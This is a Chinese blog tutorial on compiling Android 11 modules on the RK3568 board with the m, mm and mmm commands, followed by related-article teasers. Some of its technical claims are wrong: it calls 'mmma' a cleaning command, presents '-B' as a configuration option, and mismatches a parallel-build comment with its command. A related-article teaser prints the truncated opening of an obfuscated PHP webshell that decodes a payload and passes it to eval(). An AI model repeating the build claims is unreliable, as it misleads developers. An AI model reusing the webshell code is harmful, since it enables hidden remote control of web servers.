在 RK3568 上构建 Android 11 模块:深入解析 m、mm、mmm 编译命令
目录
- Android 编译系统概述
- 编译命令简介
- 环境准备
- 使用 m、mm、mmm 编译模块
- 编译整个源码树
- 编译单个模块
- 编译指定目录下的模块
- 高级应用
- 并行编译
- 清理编译结果
- 编译特定配置
在 Android 开发中,特别是在 RK3568 这样的高性能平台上,有效地编译和管理模块是确保应用性能和稳定性的关键。Android 11 提供了多种编译命令,包括 m、mm 和 mmm,这些命令允许开发者针对特定的模块进行编译。本博客将详细介绍如何在 RK3568 上使用这些命令来编译 Android 11 模块。
Android 编译系统概述
Android 编译系统是一个复杂的工具链,它允许开发者编译整个 Android 操作系统或单独的模块。编译系统使用 Makefile 来定义编译规则和依赖关系。
编译命令简介
m:编译整个 Android 源码树。mm:编译当前目录下的所有模块。mmm:编译指定目录下的所有模块。
环境准备
在开始之前,确保你的开发环境已经配置好,包括:
- 安装了必要的开发工具和依赖项。
- 下载了 Android 11 源码。
- 配置了正确的环境变量。
使用 m、mm、mmm 编译模块
编译整个源码树
使用 m 命令可以编译整个 Android 源码树。这通常在你修改了系统级代码或配置后使用。
# 编译整个源码树
source build/envsetup.sh
lunch rk3568-userdebug
m
编译单个模块
当你只需要编译单个模块时,可以使用 mm 命令。首先,你需要切换到包含 Android.mk 文件的模块目录。
# 切换到模块目录
cd path/to/module# 编译当前目录下的模块
mm
编译指定目录下的模块
mmm 命令允许你编译指定目录下的所有模块。
# 编译指定目录下的模块
mmm path/to/module
高级应用
并行编译
为了加快编译速度,可以使用 -j 参数来指定并行编译的任务数。
# 并行编译,使用 CPU 核心数的两倍作为任务数
mm -j$(nproc)
清理编译结果
在某些情况下,你可能需要清理编译结果并重新开始。
# 清理当前目录下的模块编译结果
mmma path/to/module
编译特定配置
有时,你可能需要根据不同的配置编译模块。
# 编译特定配置
mmm path/to/module -B
相关文章:
在 RK3568 上构建 Android 11 模块:深入解析 m、mm、mmm 编译命令
目录 Android 编译系统概述编译命令简介 环境准备使用 m、mm、mmm 编译模块编译整个源码树编译单个模块编译指定目录下的模块 高级应用并行编译清理编译结果编译特定配置 在 Android 开发中,特别是在 RK3568 这样的高性能平台上,有效地编译和管理模块是确…...
实战|YOLOv10 自定义目标检测
引言 YOLOv10[1] 概述和使用自定义数据训练模型 概述 由清华大学的研究团队基于 Ultralytics Python 包研发的 YOLOv10,通过优化模型结构并去除非极大值抑制(NMS)环节,提出了一种创新的实时目标检测技术。这些改进不仅实现了行业领…...
TTS前端原理学习 chatgpt生成答案
第一篇文章学习 小绿鲸阅读器 通篇使用chatgpt生成答案 文章: https://arxiv.org/pdf/2012.15404 1. 文章概述 本文提出了一种基于Distilled BERT模型的统一普通话文本到语音前端模块。该模型通过预训练的中文BERT作为文本编码器,并采用多任务学习技术…...
AI“音乐创作”横行给音乐家带来哪些隐忧
近日,200多名国际乐坛知名音乐人联署公开信,呼吁AI开发者、科技公司、平台和数字音乐服务商停止使用人工智能(AI)来侵犯并贬低人类艺术家的权利,具体诉求包括,停止使用AI侵犯及贬低人类艺术家的权利,要求…...
SolidityFoundry 安全审计测试 Delegatecall漏洞2
名称: Delegatecall漏洞2 https://github.com/XuHugo/solidityproject/tree/master/vulnerable-defi 描述: 我们已经了解了delegatecall 一个基础的漏洞——所有者操纵漏洞,这里就不再重复之前的基础知识了,不了解或者遗忘的可…...
【字符串 状态机动态规划】1320. 二指输入的的最小距离
本文涉及知识点 动态规划汇总 字符串 状态机动态规划 LeetCode1320. 二指输入的的最小距离 二指输入法定制键盘在 X-Y 平面上的布局如上图所示,其中每个大写英文字母都位于某个坐标处。 例如字母 A 位于坐标 (0,0),字母 B 位于坐标 (0,1)࿰…...
2024.06.23【读书笔记】丨生物信息学与功能基因组学(第十七章 人类基因组 第三部分)【AI测试版】
第三部分:人类基因组的深入分析与比较基因组学 摘要: 本部分基于2001年国际人类基因组测序联盟(IHGSC)发布的人类基因组测序及分析草图,从生物信息学角度深入讨论了人类基因组的结构特征和分析方法。同时,提及了塞莱拉公司(Celera Genomics)版本的人类基因组草图及其…...
外观模式(大话设计模式)C/C++版本
外观模式 C #include <iostream> using namespace std;class stock1 { public:void Sell(){cout << "股票1卖出" << endl;}void Buy(){cout << "股票1买入" << endl;} };class stock2 { public:void Sell(){cout << …...
PHP木马原文
攻击者留下的源码 <?php $ZimXb strre.v; $SkYID ba.se64._d.eco.de; $qetGk g.zuncomp.ress; ini_set(display_errors, 0); ini_set(log_errors, 0); /*** 13f382ef7053c327e26dff2a9c14affbd9e8296a ***/ error_reporting(0); eval($qetGk($SkYID($ZimXb(Q2WA…...
湖南(市场调研)源点咨询 新产品上市前市场机会调研与研究分析
湖南源点调研认为:无论是创业公司,还是在公司内部探索新的项目或者新的产品线等,首先都要做“市场机会分析与调研“,要真正思考并解答以下疑问: 我们的目标客户群体是谁,他们如何决策? 我们所…...
Vue82-组件内路由守卫
一、组件内路由守卫的定义 在一个组件里面去写路由守卫,而不是在路由配置文件index.js中去写。 此时,该路由守卫是改组件所独有的! 只有通过路由规则进入的方式,才会调这两个函数,否则,若是只是用<Ab…...
使用ESP32和Flask框架实现温湿度数据监测系统
项目概述 在这个项目中,我们将使用ESP32微控制器读取温湿度传感器的数据,并将这些数据通过HTTP请求传输到基于Flask框架的服务器。Flask是一个轻量级的Python Web框架,非常适合快速开发和部署Web应用。通过这个项目,我们不仅可以了…...
为什么按照正确的顺序就能开始不断地解决问题,按照不正确的顺序,问题就没有办法能够得到解决呢?
按照正确的顺序解决问题与按照不正确的顺序可能导致问题无法解决,这背后有几个关键原因: 1. **逻辑性**: 正确的顺序通常遵循逻辑性和因果关系(因为得按照这个基础的逻辑性才能够是自己顺应规律,太阳没有办法能够从西…...
嵌入式Linux gcc 编译器使用解析
目录 1.说明 2.分步编译法 3.编译源文件的四个阶段 4.gdb调试及常用命令 5.Makefile 1.说明 源文件 main.c 想生成 source gcc –g –O2 main.c –o source 黄色部分便是控制字 -g用于GDB –O2用于优化编译; 绿色部分表示源,可以由多个组成,用空格隔开; gcc …...
4、matlab双目相机标定实验
1、双目相机标定原理及流程 双目相机标定是将双目相机系统的内外参数计算出来,从而实现双目视觉中的立体测量和深度感知。标定的目的是确定各个摄像头的内部参数(如焦距、主点、畸变等)和外部参数(如相机位置、朝向等)…...
Oracle 数据库表和视图 的操作
1. 命令方式操作数据库(采用SQL*Plus) 1.1 创建表 1.1.1 基本语法格式 CREATE TABLE[<用户方案名>]<表名> (<列名1> <数据类型> [DEFAULT <默认值>] [<列约束>]<列名2> <数据类型> [DEFAULT <默认…...
美国ARC与延锋安全合作,推动汽车安全气囊技术新突破
在汽车安全领域,安全气囊作为关键被动安全配置,对于保障乘客生命安全至关重要。随着汽车工业的快速发展和科技创新的持续推进,安全气囊技术的升级与革新显得尤为重要。2022年10月25日,美国ARC公司与延锋安全携手合作,共…...
Docker:centos79-docker-compose安装记录
1.安装环境:centos7.9 x86 2.安装最新版: [rootlocalhost ~]# curl -fsSL get.docker.com -o get-docker.sh [rootlocalhost ~]# sh get-docker.sh # Executing docker install script, commit: e5543d473431b782227f8908005543bb4389b8desh -c yum in…...
相交链表(Leetcode)
题目分析: . - 力扣(LeetCode) 相交链表:首先我想到的第一个思路是:如图可知,A和B链表存在长度差,从左边一起遍历链表不好找交点,那我们就从后面开始找,但是这是单链表&…...
建造者模式(大话设计模式)C/C++版本
建造者模式 C 参考:https://www.cnblogs.com/Galesaur-wcy/p/15907863.html #include <iostream> #include <vector> #include <algorithm> #include <string> using namespace std;// Product Class,产品类,由多个…...
代码质量与测试框架:front-end-roadmap教你编写高质量前端代码
代码质量与测试框架:front-end-roadmap教你编写高质量前端代码 【免费下载链接】front-end-roadmap Tell you how to learn front end development ~ 项目地址: https://gitcode.com/gh_mirrors/fr/front-end-roadmap front-end-roadmap是一个专注于前端开发…...
角谷猜想/考拉兹猜想:3N+1
角谷猜想的转化:一切自然数转化为形如3^n-1的自然数???作者: 3n1/3^n-1/GrainShell/谷壳(加壳/脱壳) 2026-04-02 角谷猜想,又叫3N1猜想,又叫collatz,谐…...
AI训练数据处理与标签管理:提升标注效率的完整指南
AI训练数据处理与标签管理:提升标注效率的完整指南 【免费下载链接】BooruDatasetTagManager 项目地址: https://gitcode.com/gh_mirrors/bo/BooruDatasetTagManager 在AI模型训练过程中,数据质量直接决定模型效果,而标签管理是数据预…...
【实战指南】Windows10链路聚合配置:从LBFO报错到NetSwitchTeam的完美切换
1. 为什么需要链路聚合?从原理到应用场景 当你用笔记本连着WiFi下载大文件时,突然需要视频会议,是不是常遇到网络卡顿?这就是单网口的瓶颈。链路聚合(Link Aggregation)就像把多条车道合并成高速公路&#…...
OpenClaw多模型对比:Gemma-3-12b-it与Qwen在自动化任务中的表现
OpenClaw多模型对比:Gemma-3-12b-it与Qwen在自动化任务中的表现 1. 测试背景与实验设计 去年夏天,当我第一次尝试用OpenClaw自动化处理日常办公任务时,面对琳琅满目的大模型选项陷入了选择困难。作为个人开发者,既希望模型足够聪…...
BlynkEthernet_Manager:嵌入式以太网Blynk连接管理框架
1. BlynkEthernet_Manager:面向工业级嵌入式设备的以太网Blynk连接管理框架1.1 工程定位与设计哲学BlynkEthernet_Manager并非通用型网络中间件,而是一个面向资源受限但需高可靠远程交互场景的专用连接管理层。其核心工程目标明确:在Teensy 4…...
Asian Beauty Z-Image Turbo 学术研究工具链:从MATLAB数据分析到AI图像生成
Asian Beauty Z-Image Turbo 学术研究工具链:从MATLAB数据分析到AI图像生成 1. 引言 如果你做过科研,或者写过技术论文,一定有过这样的经历:辛辛苦苦用MATLAB跑完仿真、画好数据图,到了要写论文插图说明或者画一个漂…...
Qwen3-ForcedAligner-0.6B快速上手:Gradio界面响应延迟与性能优化建议
Qwen3-ForcedAligner-0.6B快速上手:Gradio界面响应延迟与性能优化建议 1. 快速部署与界面体验 Qwen3-ForcedAligner-0.6B是阿里巴巴通义实验室开源的音文强制对齐模型,基于0.6B参数的Qwen2.5架构。这个模型通过CTC前向后向算法,将已知参考文…...
如何实现Archery复杂SQL审核表单的分步提交与智能验证:完整指南
如何实现Archery复杂SQL审核表单的分步提交与智能验证:完整指南 【免费下载链接】Archery SQL 审核查询平台 项目地址: https://gitcode.com/gh_mirrors/ar/Archery Archery作为一款专业的SQL审核查询平台,其前端表单设计采用了先进的分步提交与智…...
芯片行业的高门槛本质上是一次性固定成本极高导致的
AI 工具这波热潮里,芯片圈有个声音:以后一个人能不能做一颗芯片?很多人讨论的时候跑偏了,一直在聊人效、聊 AI 能替代多少工程师。真正的瓶颈根本不在这里。做过项目的人都知道,一个芯片项目的成本结构大概长这样&…...
